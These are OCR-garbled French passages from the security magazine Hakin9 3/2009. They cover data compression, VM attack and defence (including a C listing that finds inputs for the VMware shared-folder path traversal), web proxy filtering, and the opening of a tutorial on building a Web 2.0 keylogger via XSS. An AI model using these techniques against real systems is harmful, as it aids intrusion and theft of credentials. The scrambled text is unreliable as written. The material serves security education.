texte coder doit tre dcortique dans un tableau en dcalant la chane d'un caractre vers la droite chaque nouvelle ligne. Ces lignes sont ensuite classes par ordre alphabtique. Nous savons que, grce au dcalage, chaque dernire lettre de chaque ligne prcde la premire lettre de la mme ligne, sauf pour la ligne originale dont on notera la position. De plus, comme les lignes sont ranges par ordre alphabtique, on peut retrouver la prmiere colonne du tableau grce la dernire colonne. Imaginons que nous devons coder le mot soleil. Nous procdons alors selon les deux explications prcdentes, comprendre un dcalage des caractres et un classement par ordre alphabtique. Par un hasard curieux, la position du texte original figure en premier ligne. Le texte cod est alors constitu de la dernire colonne prcde de la position du texte original, soit: 6leoisl Premire tape (rotation) :
soleil lsolei ilsole
Figure 3. Le tableau l e o i s l le ei ol il so ls lei ils lei lso ole sol eils ilso leil lsol olei sole eilso ilsol leils lsole oleil solei eilsol ilsole leilso lsolei oleils soleil
associe alors la dernire colonne avant cette premire colonne, puis on classe dans lordre alphabtique les paires obtenues afin de construire les deux premires colonnes. On rpte ensuite cette opration jusqu constituer le tableau complet dans lequel on retrouve le texte original par son numro de ligne. A chacune des tapes, on associe une nouvelle colonne et on (re)fait un classement par ordre alphabtique. Dans la finalit, en utilisant le chiffre relative la ligne o figurait le texte original (en l'occurence 6), on retrouve notre mot premier : (voir Figure 3) Vous l'aurez sans doute remarquez, le classement par ordre alphabtique devient vite inutile sur les fractions de texte court car le prototype n'volue gure (le dernier est en gris). Par contre, sur les volumes de donnes importants, il est impratif de l'utiliser afin d'viter des erreurs lorsqu'il se produit des similitudes impromptues sur le moyen terme.
Compression Lempel-Ziv
Transforme de Burrows-Wheeler
La transforme de Burrows-Wheeler (couramment appele BWT) est une technique utilise en compression de donnes. Elle fut invente par Michael Burrows et David Wheeler. En vrit, il ne s'agit pas proprement parl d'un algorithme de compression. Effectivement, aucune rduction
alphabtique) :
eilsol ilsole lsolei oleils leilso
Le dcodage consiste reconstruire le tableau complet partir de sa dernire colonne (texte cod leoisl) partir de laquelle on reconstruit la colonne suivante, cest--dire, par rotation la premire dont on sait quelle est dans lordre alphabtique, soit soleil. On
La compression LZ (selon Abraham Lempel et Jacob Ziv) remplace des motifs rcurrents par des rfrences leur premire apparition dans un fichier quelconque. Certes, elle donne des taux de compression relativement discutable eu gard d'autres algorithmes plus performant. Neanmoins, elle a le double avantage d'tre rapide et asymtrique. Ainsi, l'algorithme de dcompression est diffrent de celui de compression. Il est donc possible de trouver un bon compromis entre un algorithme de compression performant et un algorithme de dcompression rapide. L'alternative LZW (selon Abraham Lempel, Jacob Ziv et Terry Welch) est dveloppe sur la mme mthode mais elle dispose d'une amlioration considrable. La compression LZW est dite de type dictionnaire. Effectivement, elle est base sur le fait que des motifs se retrouvent plus souvent que d'autres et qu'on peut donc les remplacer par un index dans un dictionnaire. Ce susdit
3/2009 HAKIN9
45
BACKUP
position=0, longueur=0, nouveau caractre. Ainsi, il occupe 3 octets au lieu d'un seul. Ce dfaut est supprim dans la version LZSS (selon Lempel, Ziv, Storer et Szymanski). L'algorithme LZ77 est utilis notamment pour la compression des fichiers dans le systme de fichier Windows NTFS. Figure 4. Le tableau Application Zip PPMd Zip BZip2 Zip Deflate Zip Portable Rar WinRAR Ace WinACE LZH WinACE CAB WinACE JAR WinACE TAR WinACE
BMP 93.2 92.7 89.7 89.2 90.1 90.5 88.4 90.7 89.2 89.2 TGA 95.1 94.5 91.9 91.4 92.4 91.7 90.0 93.0 91.3 91.3 JPG 6.45 6.25 6.52 6.50 7.30 6.81 -0.03 6.50 6.37 6.36 PNG 1.79 1.22 2.49 2.48 2.37 2.13 -0.01 2.49 2.39 2.38 TXT 92.2 90.9 88.4 87.7 92.0 89.5 86.8 90.7 87.3 87.3 DOC 66.6 63.3 65.9 65.2 69.2 68.6 64.1 68.3 65.0 65.2 XLS 79.6 78.1 72.3 72.1 80.8 77.4 71.7 78.9 72.4 72.4 PPT 10.6 10.9 12.2 12.2 12.7 12.6 11.9 12.5 12.1 12.1 MDB 75.0 71.9 66.4 65.9 76.0 70.3 64.9 71.1 65.8 65.8 Mix 76.2 73.5 68.8 68.3 75.9 72.0 67.3 72.8 68.1 68.1
Certes, l'ensemble de ces informations est digne d'intrt, mais d'un manire concrte, quelles sont les applications de compression les plus efficaces. Il existe tant de formats, de produits et d'algorithmes qu'il devient difficile de se prononcer. Plusieurs facteurs sont importants afin de rpondre cette intressante question. Nous les tablissons sur la base de quelques rigueurs. Celles-ci sont donc : Le taux de compression final, La vitesse du traitement (compression et dcompression), La polyvalence dans l'usage des diffrentes archives.
Par habitude, les applications de compression de donnes utilisent un ensemble d'algorithmes complexes. Bien entendu, elles sont gnralement identiques aux codes prcdemment expliqus. A cet effet, nous nous sommes intresss aux formats de compression les plus frquents. Bien sr, il en existe encore bien d'autres plus ou moins digne d'intrt. Chacun dterminera son affection particulire dans le marasme des applications proposes. Nanmoins, il serait trs difficile d'tablir un ensemble de rsultats
Sur Internet
Le blog de Nix: http://blogs.codes-sources.com/nix Ouvrage de Shannon sur la thorie de l'information: plan9.bell-labs.com/cm/ms/what/ shannonday/shannon1948.pdf RFC 1950 Zlib http://tools.ieft.org/html/rfc1950 RFC 1951 Deflate http://tools.ieft.org/html/rfc1951 RFC 1952 Gzip http://tools.ieft.org/html/rfc1952 WinRAR gratuit http://www.winrar-full.net/fr
afin de dterminer quel est le meilleur logiciel de compression car ils disposent tous d'avantages importants et d'inconvnients majeurs. Si celui-ci comprime trs bien les fichiers de type XML, il sera navrant sur les images BMP ou PNG. Inversement, si celui-ci est excellent lors d'une compression sur PPT ou MDP, il se montrera particulirement lent, etc. Nanmoins, afin de finaliser notre dossier sur une dmonstration logique, nous vous proposons un tableau rcapitulatif des taux de compression sur un ensemble de fichiers dans un dossier quelconques. Imaginons toutes sortes d'extensions dans notre susdit dossier, notamment BMP, TGA, DOC, TXT, MDP, XLS, PPT, etc (en d'autres termes, une espce de pot-pourri de tout se qu'on peut trouver sur un ordinateur domestique). Nous utiliserons 10 formats de compression diffrents sur 3 applications diffrentes parmi les plus utilises. A chaque examen, nous ferons figurer les meilleurs compressions (et les pires aussi). Mme s'il semble se dgager quelques singularits, il faut bien reconnatre que les rsultats sont pour la plupart trs rapprochants les uns des autres. Vous noterez que les temps de traitements sont absents car ils sont essentiellement relatifs la configuration d'une machine notamment le CPU et la mmoire RAM. Cette analyse a t construite sur la base d'une tude trs intressante selon les travaux de Nicolas Sorel (alias Nix). Elle est exprime en pourcentage (%). Vous trouverez le blog de l'auteur dans l'encadr figurant en fin d'article : (voir Figure 4) Malgr un rsultat sensiblement infrieur la moyenne de l'application ZIP (extension PPMd), le programme WinRAR semble
particulirement idal pour un usage domestique. Toujours dans des performances apprciables (souvent maximales mme), elle suscite l'attention de trs nombreuses personnes. Par contre, sans vouloir tre dsagrable, il faudra peut tre oublier l'extension LZH (trop souvent mdiocre, voire contre-productive sur certains formats). Or, les puristes se demanderont pourquoi nous n'avons pas encore voqu l'application 7-Zip. Si on se base sur plusieurs benschmarks qu'on peut trouver sur internet, cette application est trs apprciable dans ces taux de compressions mais pas dans la dure de traitement. Ceux-ci peuvent atteindre des sommets eu gard au temps de traitement d'une autre application comme WinRAR ou ZIP. En conclusion, vous l'aurez compris sans grande difficult. Tout est une question de besoins et de gots. Chacun dterminera sa propre prfrence, peut tre au dtriment d'une capacit de traitement discutable dans un registre particulier. L'internet regorge d'applications gratuites ou en Shareware. De ce fait, vous trouverez sans aucun doute le programme qu'il vous faut. D'ailleurs, n'hsitez pas tablir votre propre benschmark. C'est la meilleur faon de se faire une opinion ferme sur la question que nous venons d'voquer. Sicchia Didier
Il est l'origine de nombreux exploits, dossiers et articles divers pour plusieurs publications francophones consacres la scurit informatique et au dveloppement. Autodidacte et passionn, son exprience se porte notamment sur les ShellCodes, les dbordements d'allocations de mmoire, les RootKits, etc. Plus que tout autre chose, c'est l'esprit alternatif de la communaut UnderGround qui le motive. Pour contacter l'auteur : didier.sicchia@free.fr
46
HAKIN9 3/2009
3/2009 HAKIN9
47
TECHNIQUE
JULIEN REVERET
La scurit
Degr de difficult
e site wikipedia donne la dfinition suivante de la virtualisation : En informatique, on appelle virtualisation l'ensemble des techniques matrielles et/ou logicielles qui permettent de faire fonctionner sur une seule machine plusieurs systmes d'exploitation et/ou plusieurs applications, sparment les uns des autres, comme s'ils fonctionnaient sur des machines physiques distinctes. Les outils de virtualisation servent faire fonctionner ce qu'on appelle communment des serveurs privs virtuels (Virtual Private Servers ou VPS) ou encore environnements virtuels (Virtual Environments ou VE). Nous nous attacherons dans un premier chapitre dcrire les menaces existantes sur les solutions de virtualisation travers les travaux mens par diffrents chercheurs, nous identifierons les points faibles des solutions de virtualisation. Le deuxime chapitre sera l'occasion de dtailler les techniques d'exploitation utilises pour compromettre une machine hte une fois une machine virtuelle entre les mains d'un attaquant. Le troisime chapitre dtaillera les lments de scurit qui sont actuellement en place dans les infrastructures dites physiques, comment la virtualisation a remis ces lments en question et les problmatiques qui se posent de nouveaux. Enfin le quatrime et dernier chapitre donnera une liste de recommandations gnrales : des voies explorer pour les nouvelles mthodes de scurisation mettre en place, les outils permettant d'amliorer la scurit des machines virtuelles.
VIRTUALISATION
dernier. Ce risque est le plus important car une fois la machine hte compromise, c'est l'ensemble des machines virtuelles qui est sous le contrle de l'attaquant. Si cela n'est pas suffisant, il peut vrifier les drivers pour la carte rseau, le contrleur PCI ou la gestion de la mmoire l'aide de la commande dmesg : voir Listing 3 L'attaquant a toutes les informations pour savoir qu'il est bien sur une machine virtuelle. On voit quel point un simple compte utilisateur peut tre utile pour explorer une machine et obtenir des dtails pertinents. entre elles, les logiciels de virtualisation doivent donc effectuer une translation pour chaque table de machine virtuelles. L'adresse de cette table est rcuprable grce l'instruction SIDT qui a pour avantage de pouvoir tre utilise dans un mode non privilgi (appel ring3), les informations retournes sont sensibles car ce sont celles utilises en interne par le systme d'exploitation. Une ide voque par Joanna Rutkowska est d'identifier le logiciel de virtualisation utilis en fonction de la translation d'adresse mmoire effectue, le but final tant d'tablir une base d'empreintes des logiciels et de pouvoir clairement les identifier.
On notera que la collecte d'informations va en s'affinant, l'attaquant cherchant toujours connatre les dtails lorsqu'il n'a pas pu avoir accs ce qu'il cherchait lors des phases prcdentes. Pour mieux comprendre comment s'opre cette phase de recherche, prenons en exemple deux technologies de virtualisation libres : Xen et KVM. Nous allons reprendre chaque tape pour chaque systme.
Dtecter Xen
Nous tudions ici le cas o un intru a russi accder au systme d'exploitation avec les privilges d'un simple utilisateur. Il commence alors faire la prise d'empreinte ou OS fingerprinting. La seule commande Unix uname lui donne dj un indice non ngligeable : voir Listing 1. Il sait alors qu'il est sur une machine de type guest grce l'indication -xenU du numro de noyau, c'est un Linux, il sait aussi que la machine hte a un processeur x86_64, il peut aller plus loin et voir quel type de processeur est en place sur la machine hte : voir Listing 2
3/2009 HAKIN9
49
TECHNIQUE
rpm sur une distribution RedHat, Suse ou
Mandriva, dpkg sur une distribution Debian, ubuntu ou drives et enfin eix sur gentoo. Pour les Unix de type BSD, la commande pkg_info fournira ces renseignements. Pour une machine windows, on pourra contourner le problme de ne pas avoir d'interface graphique en utilisant par exemple l'agent snmp s'il est install sur la machine pour requter et obtenir la liste des applications tierces installes. Cette tape n'est donc pas diffrente de l'attaque d'une machine physique.
restrictions sur les dossiers qui sont partags et les droits qui sont accords. En analysant comment est code cette partie, on s'aperoit que le problme rside dans la validation du chemin. VMWare vrifie que le chemin d'accs ne contient pas les caractres.. pour viter que l'utilisateur ne puisse remonter au del de la limite, cette tape de vrification est faite avant de passer le rsultat en argument la fonction cense convertir le chemin donn sous forme de chane de caractres au format unicode UTF-16. La vulnrabilit plus en dtails est due au fait que la fonction MultiByteToWideChar est utilise de faon ne pas bloquer les chanes mal formes. Lorsque celle ci n'a pas comme second argument MB _ ERR _ INVALID _ CHARS, elle ignore les caractres invalide et les retire pour que la chane puisse tre valide par la suite. On peut ainsi avoir une chane qui passe la validation car elle ne contient pas .. mais qui une fois passe la focntion MultiByteToWideChar permettra quand mme l'attaquant d'accder aux ressources. On peut penser que le code effectuant la vrification se prsente sous cette forme : voir Listing 6. On imagine sans peine que la dtection d'une machine virtuelle vmware par un attaquant lui permettra d'utiliser la vulnrabilit pour prendre en sa possession la machine hte.
Nous allons ici nous employer numrer des failles ou des types de failles dans les implmentations de machines virtuelles. Cette nouvelle technologie dbarque avec son lot de nouveauts, certaines nayant pas t conues avec des bases scurises, il est tout fait possible de trouver de nouveaux moyens de sintroduire frauduleusement dans un systme dinformation.
VIRTUALISATION
elles peuvent tre utilises par des processus non privilgis, comme ces tables sont uniques, il faut que le logiciel de virtualisation fasse lui mme la translation vers une nouvelle table, permettant ainsi l'attaquant de dcouvrir la prsence de la machine virtualise. Du ct d'un autre gant de l'informatique, IBM, le processeur Power5 a t cr avec une toute autre philosophie. Les processeurs de la famille Power ont t conus pour fournir une virtualisation hardware depuis longtemps, avec le systme LPAR (Logical Partitioning), les ressources sont isoles entre chaque partition et surtout le processeur dispose de mcanismes de scurit. Parmi les mcanismes proposs, les suivants sont intressants : La protection contre les accs interpartitions : les accs utilisant un moyen autre que les partages rseaux sont interdits. Une erreur logicielle sur une partition n'a aucune rpercution sur d'autres partitions. Une application ou le systme d'exploitation d'une machine virtuelle ne peut pas accder aux autres partitions. La protection contre les attaques visant puiser les ressources systmes (DoS local). Le processeur Power5 dispose de mcanisme de empchant une partition d'utiliser les ressources CPU, mmoire et I/O jusqu' puisement. Par exemple un bus physique partag entre deux partitions ne pourra tre occup 100% P U du temps par une seule des partitions que pendant un temps dfini. victime et tenter d'accder la machine hte. L'envoi de fausses informations : si l'environnement des serveurs de VM fonctionne comme un cluster, un attaquant peut tenter de faire passer une machine comme un membre de ce cluster et ainsi rcuprer certaines VM et les compromettre.
3/2009 HAKIN9
51
TECHNIQUE
quun nombre dentre elles nont toujours pas trouv de solution. Voyons de plus prs les problmes auxquels les administrateurs doivent faire face avec une architecture physique et son pendant sur une architecture forme de machines virtuelles. Comme nous allons le voir, le cloisonnement. Limitation des ressources : La limitation des ressources doit se faire indpendamment sur chaque machine, sur une machine unix, les utilisateurs seront brids l'aide de ulimit , il faudra aussi tablir des limites pour chaque service tournant sur la machine afin de limiter les dgats en cas d'attaque par DoS. Chaque serveur ayant son propre processeur, sa propre mmoire et des ressources de stockages non partages, un outrepassement des limites n'affecte que ledit serveur, sauf bien entendu dans le cas d'une consommation excessive de la bande passante o les serveurs du mme segment rseau peuvent tre touchs. Fuite d'information : bloquer les accs sortant sur le FW, empecher l'accs au support de stockage externe comme une cl USB. des autres VM facilement une fois une premire machine compromise. Cette dimension n'a pas pu tre prise en compte totalement sur les architectures intel car les processeurs ne disposaient pas d'instructions spcifique pour les machines virtuelles, contrairement au processeur Power5 d'IBM qui a t De plus d'un point de vue rseau, on voit de nouvelle cloisons s'installer ou tre abattues. La socit VMWare a par exemple introduit une technologie thinapp qui permet entre autres deux applications dans deux VM, grce au Listing 6. exploitation de la faille VMWare
#include <windows.h> int main(int argv, char *argc[]) { unsigned int i, ans; unsigned char buf[200]; for (i=1;i;i++) { memset(buf, 0, 200); ans = MultiByteToWideChar(CP_ UTF8, 8, &i, 4, buf, 100); // 8 = MB_ERR_INVALID_CHARS if (ans && (buf[0] == '.') && (buf[1] == 0) && ((i & 0xff) != '.')) printf("%d %04x: %02x %02x %02x %02x\n", ans, i, buf[0], buf[1], buf[2], buf[3]); } }
52
HAKIN9 3/2009
VIRTUALISATION
procd nomm Application Link. On voit que si un attaquant arrive trouver une faille dans une des applications, il pourrait trs bien essayer de rebondir sur la deuxime VM en utilisant le lien qui existe entre les deux applications. Le logiciel libre n'est pas en reste quand il s'agit de cloisonnement rseau, on peut par exemple citer VDE (Virtual Distributed Ethernet) qui dispose d'une fonctionnalit pour relier des machines virtuelles QEMU dispose sur plusieurs htes rels. De plus il est possible de chiffrer les canaux de communication, avec l'algorithme blowfish ou bien de mettre en place des VLANs. On retrouve ici les solutions dj en place dans le monde des machines physiques, mais appliques aux solutions virtualises. Limitation des ressources : Un DoS local sur une machine virtuelle utilise des ressources sur le systme hte, ressources qui ne seront pas utilisables par les autres machines virtuelles. Pour cela, il peut tre intressant de regarder comment un hyperviseur peut amliorer la scurit. Une machine virtuelle doit avoir les mmes paramtres de scurit qu'une machine physique concernant la limitation des ressources, il n'en reste pas moins que lorsqu'une machine virtuelle subit un DoS, l'impact ne se limite pas cette machine mais aussi aux machines virtuelles tournant sur le mme hte, il devient donc ncessaire de mettre en place sur l'hte, que ce soit via l'hyperviseur ou d'autres mcanismes de scurit. Voici une liste non exhaustive : Empcher certaines instructions CPU d'tre excute l'intrieur d'une machine virtuelle, Mutualisation des services de scurit dans l'hyperviseur pour viter que plusieurs machines virtuelles fassent le mme traitement. On vite ainsi de gaspiller des ressources. Exemple : mutualisation de firewall, d'antivirus. Cette solution est tudie par VMWare depuis leur rachat de Determina, Virtualisation des boitiers de scurit : les boitiers ne sont plus physique mais juste de nouvelles machines virtuelles qui s'insrent entre l'hte et la/les machine(s) protger. Cette solution est l'tude aussi chez VMWare. ces attaques, certains comme virtual shield de la socit Blue Lane vont mme jusqu' stopper les attaques ou tout du moins corriger les rponses des machines virtuelles attaques. Le principe de Virtual Shield est qu'un patch appliqu sur un service ou un OS peut parfois avoir des effets de bord indsirables, le patch n'est donc plus appliqu sur la machine virtuelle mais sur virtual shield qui est une couche interfaant l'hyperviseur et les machines virtuelles. Ainsi il est possible de protger diffrentes versions d'un mme logiciel, diffrents OS. Concernant les projets libres, la Recherche et Dveloppement d'IBM a ralis sHype, un patch pour xen apportant l'hyperviseur un nouveau modle de scurit, le modle MAC (Mandatory Access Control), modle rpandu dans l'univers militaire. A l'aide de ce nouveau modle, la solution Xen est cense obtenir la certification CC EAL4.
Si certaines de ces scurits peuvent tre mises en place au niveau hardware comme c'est le cas avec l'architecture Power5 d'IBM, l'impact sur les performances sera d'autant rduit.
Bibliographie
[CSE-TR-539-07] J. Oberheide., E. Cooke, and F. Jahanian, Empirical exploitation of live virtual machine migration, [VMM-usenix00-0611] J. Scott Robin and Cynthia E. Irvine, Analysis of the Intel's pentium ability to support a secure virtual machine monitor, [IBM-VIRT] E. Stahl, Virtualization security and integrity in the IBM eserver POWER5 Environment, [CVE-2008-0923] Core Security, Path Traversal vulnerability in VMware's shared folders implementation, [VIRT_INSEC] Enno Rey, Virtualization insecurity, [virtsec] T. Ormandy, An empirical study into the security exposure of hosts of hostile virtualized environments. [Crashme] T. Ormandy, Random input testing software.
Dployer une solution base sur des machines virtuelles pour de lhbergement, une plateforme de dveloppement ou autre ne doit pas tre pris la lgre. De nouvelles menaces psent sur ces technologies et il est ncessaire de connatre des contre mesures pour se protger. Voici une liste non exhaustive de moyen de protection existant sur le march.
L'auteur travaille pour le cabinet de conseil en scurit ITrust; il est amen pour cela travailler sur des projets de scurit pour de grands comptes ou faire des audits intrusifs. Il utilise depuis plus de dix ans les logiciels libres et particulirement leur application dans le domaine de la scurit. 3/2009 HAKIN9 53
TECHNIQUE
TONY FACHAUX
Scuriser la navigation
Internet des utilisateurs
Cet article prsente les moyens techniques mettre en uvre pour protger les utilisateurs des menaces du Web. Cette scurisation passe par la mise en place de proxy web afin de filtrer le trafic web par diffrentes techniques; comme la rputation des URL ou encore le dchiffrement SSL.
Degr de difficult
ujourd'hui, le web regorge de menaces de plus en plus varies. Le virus n'est plus la seule menace craindre. Une multitude de menaces, dont l'utilisateur lambda ne connat mme pas l'existence, font leur apparition. Spyware, botnet ou encore ransomware deviennent monnaie courante. Quelles menaces faut-il craindre aujourd'hui, et comment s'en protger ?
Les menaces du web sont de plus en plus nombreuses. On peut tout d'abord parler du phishing qui est une attaque en vogue et trs largement dploye sur la toile. Cette attaque consiste en la cration d'un faux site d'une banque par exemple puis de spammer des milliers d'utilisateurs afin de les forcer se connecter sur notre faux site dans le but de rcuprer des informations bancaires. Le phishing commence laisser place au pharming, une attaque drive du phishing. Cette attaque ne passe plus par un envoi de mail. L'utilisateur est alors redirig vers un faux site bancaire lorsqu'il essaye de se connecter au vrai site de sa banque, une attaque difficile contrecarrer. On rencontre encore et toujours les fameux virus et vers qui svissent sur la toile depuis de nombreuses annes. Les virus se transmettent gnralement l'aide de fichiers alors que les vers se rpandent de faon compltement autonome.
Le spyware ou logiciel espion en franais est apparu peu aprs les virus et les vers. Ce sont de petites applications installes sur les postes de travail qui collectent des informations l'insu de l'utilisateur. Les spywares sont trs souvent utiliss des fins commerciales. Il existe videmment des tas de drivs aux spywares comme le keylogger ou encore le screenlogger qui rcuprent les mots de passe taps par les utilisateurs. On peut aussi rencontrer aujourd'hui le ransonmware. Ce type de menace bloque l'accs certaines informations du poste client (par exemple le blocage d'une partition du disque dur) et rclame une ranon l'utilisateur contre le dblocage. Les chevaux de Troie, quant eux, sont des applications qui s'installent sur les postes afin d'ouvrir des portes drobes. Les rootkits sont redoutables, eux aussi. Ce type de programme malveillant manipule le noyau du systme afin d'en modifier le comportement. Par exemple, afin de camoufler la prsence d'un processus, un rootkit peut modifier la commande ps sur un systme de type Unix afin de ne pas retourner les applications malveillantes en cours d'excution. Certains rootkit sont extrmement puissants et permettent de camoufler des attaques pendant de trs longues priodes. Enfin, les rseaux de zombies sont aujourd'hui trs dploys. Un PC devient zombie ds lors qu'une application malveillante t installe. Ce poste est ensuite contrl par un serveur pirate afin d'excuter des actions malveillantes comme l'envoi, massif, de
Principe de fonctionnement
Afin de se prmunir de toutes ces attaques web, il convient de filtrer le trafic web des utilisateurs. C'est l qu'entre en jeu un serveur mandataire ou proxy. Vous trouverez sur la figure 1, un schma d'architecture type montrant le fonctionnement d'un proxy. Bien souvent, un proxy est install en DMZ (zone dmilitarise) et a pour rle d'intercepter tout le trafic web des utilisateurs afin d'y appliquer des filtres. Ce proxy peut tre install soit en mode transparent, soit en Pour ce qui est du fonctionnement du proxy, les clients mettent d'abord une requte HTTP vers ce dernier. Une rupture protocolaire se produit au niveau du proxy afin d'analyser la requte mise par le client. Cette analyse peut, par exemple, tre du filtrage d'URL. Si cette requte est valide par le proxy, elle est alors envoye au serveur de destination. Dans le cas contraire, une notification de rejet est alors envoye au client, ce dernier en est inform via un message dans son navigateur. Dans le cas o la requte est correctement mise, le proxy reoit alors une rponse et en ralise alors une analyse de scurit (analyse anti-virus par exemple). Puis, la requte est soit relaye au client, soit une
Diffrents lments techniques sont mettre en uvre pour scuriser les flux web. Il est ici vident qu'il n'est pas ncessaire de tous les mettre en place afin de disposer d'une bonne scurit, mais au plus il y aura d'lments mis en uvre, au plus votre parc machines sera protg des menaces du Web.
Il faut savoir que le filtrage d'URL est interdit dans certains pays. De plus, si vous mettez en place un filtrage d'URL trs restrictif, prparez alors une bonne campagne de gestion du changement afin de ne pas trop perturber les utilisateurs. Ou alors mettez-le en place pendant certaines tranches horaires (par exemple le matin et l'aprs-midi et pas le midi). Mfiez-vous aussi de l'origine de la solution que vous mettez en uvre. En effet, les catgories d'URL ne sont pas les mmes sur une solution amricaine que sur une
Scan. Vous pouvez par exemple vous amusez tester ces URL sur le site de SenderBase ou encore sur le site http:// www.trustedsource.org/ de l'diteur Ironmail (rcemment rachet par McAfee). Google se situe par exemple dans la catgorie ALLOW car bnficiant d'une trs bonne rputation.
Pour commencer, vous pouvez simplement et gratuitement installer un proxy Open Source de type Squid coupl quelques modules de filtrage comme SquidGuard ou encore de simples ACL; cela permet de garantir un premier niveau de scurit. Il faut tout de mme savoir qu'administrer un Squid se rvle beaucoup plus complexe qu'un produit commercial comme Bluecoat ou encore un proxy Ironport. De plus, les solutions commerciales disposent d'un support efficace et sont beaucoup plus compltes en termes de fonctionnalits de scurit. Mais libre vous de tester toutes ces solutions et de choisir celle qui rpond le mieux vos besoins. Une petite PME s'en sortira trs bien avec un simple Squid tandis qu'un grand compte aura certainement plus besoin de fonctionnalits avances qu'on ne trouve que dans les solutions commerciales. Sachez tout de mme que les solutions commerciales ne sont rien d'autres qu'un Squid amlior.
Le filtrage par catgorie est une premire chose, il permet de filtrer les catgories d'URL risques comme les URL caractre pornographique ou encore les URL de sites pirates (Warez) : une grande majorit de risques se trouvent sur ce type de sites web. Le filtrage par rputation permet quant lui d'autoriser ou non une URL en fonction de sa rputation Web. La rputation d'une URL se matrialise par une note et est autorise ou non en fonction de votre paramtrage. Les notes des URL sont contenus dans une base de donnes. Par exemple, chez Ironport (Cisco), la Senderbase (http://www.senderbase.org/ ) est quotidiennement alimente par des milliers d'utilisateurs afin d'attribuer des notes aux URL. Il faut par exemple savoir qu'une URL utilise par un spyware a une dure de vie trs courte (de l'ordre de quelques jours). Ce type d'URL dispose alors d'une note trs basse sur la toile est a de fortes chances d'tre rejet par votre proxy si celui-ci a correctement t configur. Voici dans le tableau 1, un exemple de configuration sur un proxy Ironport. Une URL comprenant une note entre -10 et -6 sera automatiquement rejete, une URL qui a une note comprise entre -5.9 et +5.9 passera diffrents types de filtrage selon la configuration (anti-virus, anti-spyware, etc.) et une URL qui a une note comprise entre +6 et +10 sera automatiquement accepte sans passer par un quelconque
TECHNIQUE
Listing 1. Un exemple de fichier proxy.pac
function FindProxyForURL(url,host){ if (isPlainHostName (host) || shExpMatch (host, "x.*") || shExpMatch (host, "x.x.*") || shExpMatch (host, "127.0.0.1") || shExpMatch (host, "localhost") || shExpMatch (host, "*.hakin9") || { return "DIRECT"; } else { return "PROXY proxy:3128"; } }
protection maximale, il convient de bloquer les requtes lorsque l'analyse dtecte l'un de ces cas spciaux. Attention toutefois aux faux-positifs.
convient videmment d'activer la protection contre ces menaces si vous voulez disposer d'une bonne protection anti-malware. Il est aussi noter que plusieurs solutions du march proposent des scans par le biais de plusieurs moteurs pour maximiser les rsultats. Chez Ironport, il y a un moteur Webroot ainsi qu'un moteur McAfee (les meilleurs du march). Pour gagner en performance, on peut videmment en dsactiver un des deux. Les moteurs anti-malware peuvent parfois faire face certains cas spciaux. A savoir : un fichier chiffr, User Agent suspect, un fichier non-scannable.
A ce niveau, les actions possibles sont binaires : autoriser ou bloquer. Pour une
Sur Internet
Le site Web du constructeur Ironport : http://www.ironport.com/fr/ La base de rputation d'Ironport : http://www.senderbase.org/ Liste de User-Agent : http://www.user-agents.org/
Instant Messaging
peut tre complexifi comme bon vous semble, selon vos besoins.
Conclusion
Les menaces du web tant toujours de plus en plus nombreuses et dangereuses, il convient de protger les postes clients, et donc de scuriser le trafic web. Notez tout de mme que le trafic web n'est qu'une partie de la scurit d'un poste client. Le fait de mettre en place une bonne politique de filtrage n'est pas suffisant. Le pare-feu personnel, l'anti-virus ainsi que l'anti-malware sont toujours de rigueur sur le poste client. Tony Fachaux
jexclus lutilisation du proxy pour certains noms de domaine. Sinon je fais passer les requtes Web par le proxy. Ce script P U B L
L'auteur travaille en tant qu'ingnieur scurit chez Orange Business Services. Diplm d'un Mastre en Scurit Informatique l'EPITA, il se passionne pour les technologies de scurit de l'information.
3/2009 HAKIN9
57
TECHNIQUE
ANTONIO FANELL
Keylogger 2.0
Degr de difficult
Aujourdhui, on utilise de plus en plus de scripts asynchrones pour amliorer l'exprience utilisateur sur Internet. Cependant, des malwares nouvelle gnration voient le jour pour les exploiter. Dans cet article, vous apprendrez concevoir un keylogger Web 2.0 puis. web.
es connexions Internet haut dbit et l'avnement des technologies Web 2.0 ont rduit la marge entre les applications Web et Desktop. On entre dans une nouvelle re du dveloppement Web avec une approche utilisateur innovante. Cela est positif mais de l'autre ct l'volution constante des malwares ces nouvelles technologies est inquitante. Les utilisateurs sont amens faire de plus en plus attention lorsqu'ils surfent sur le Web. Cependant passer d'un environnement ferm un environnement ouvert peut faire changer de comportement. C'est un peu comme dans la vraie vie. On essaye tous de nous protger contre d'ventuels voleurs avec des barrires, des alarmes... Mais lorsqu'ils ne fonctionnent plus, on ne peut se fier qu' nous-mmes. C'est la mme chose pour les internautes. Les pare-feu et les antivirus sont de bons systmes de dfense pour des attaques externes, mais sur Internet il faut surtout compter sur soi-mme pour viter certains piges. Le problme c'est que sur le Web, la performance et la scurit sont deux paramtres inversement proportionnels. Trop d'obstacles et c'est l'exprience de l'internaute qui en ptit ; l'inverse trop de confiance peut induire un risque en termes de scurit. Autre aspect, dans les environnements de bureau (desktop) des outils automatiss vous aident identifier les virus, mais sur le Web se sont surtout les actions de l'internaute qui prdominent.
Dans cet article, vous apprendrez concevoir un keylogger pour un site web en vous basant sur les technologies Internet. Puis nous verrons comment utiliser notre script pour effectuer une attaque.
L'effet AJAX
En rgle gnrale, on croit ce que l'on voit. C'est la principale cause de l'essor des malwares depuis quelques annes. AJAX et les techniques de programmation Web 2.0 permettent aux utilisateurs d'interagir en changeant des informations caches entre le client et le serveur. En consquent, la page n'est pas ractualise chaque requte. L'inconvnient c'est que ce manque de visibilit, peut amener penser que ces sites sont fiables. Prenons lexemple dun utilisateur inexpriment qui remplirait un formulaire de paiement sur un site d'e-commerce. Avant de valider ses informations, dont celles
58
HAKIN9 3/2009
KEYLOGGER 2.0
de sa carte de crdit, il hsite cliquer sur le bouton Valider afin de revrifier les donnes saisies. En quelques secondes l'utilisateur se fait son avis sur le site puis confirme. L'utilisateur pense que ses informations sont envoyes uniquement lorsquils les valident. Avec le Web 2.0 ce n'est pas le cas. Il n'a pas conscience qu'il y a un transit d'informations entre le client et le serveur. Ajoutons, qu'il n'y a rien sur le site qui en avertisse l'utilisateur. Cela peut conduire de srieux ennuis.
Figure 2. Le champ de recherche est vulnrable une attaque XSS et cela affecte galement le champ du nom d'utilisateur et du mot de passe. Listing 1. Voici une simulation de formulaire de paiement d'un site d'e-commerce
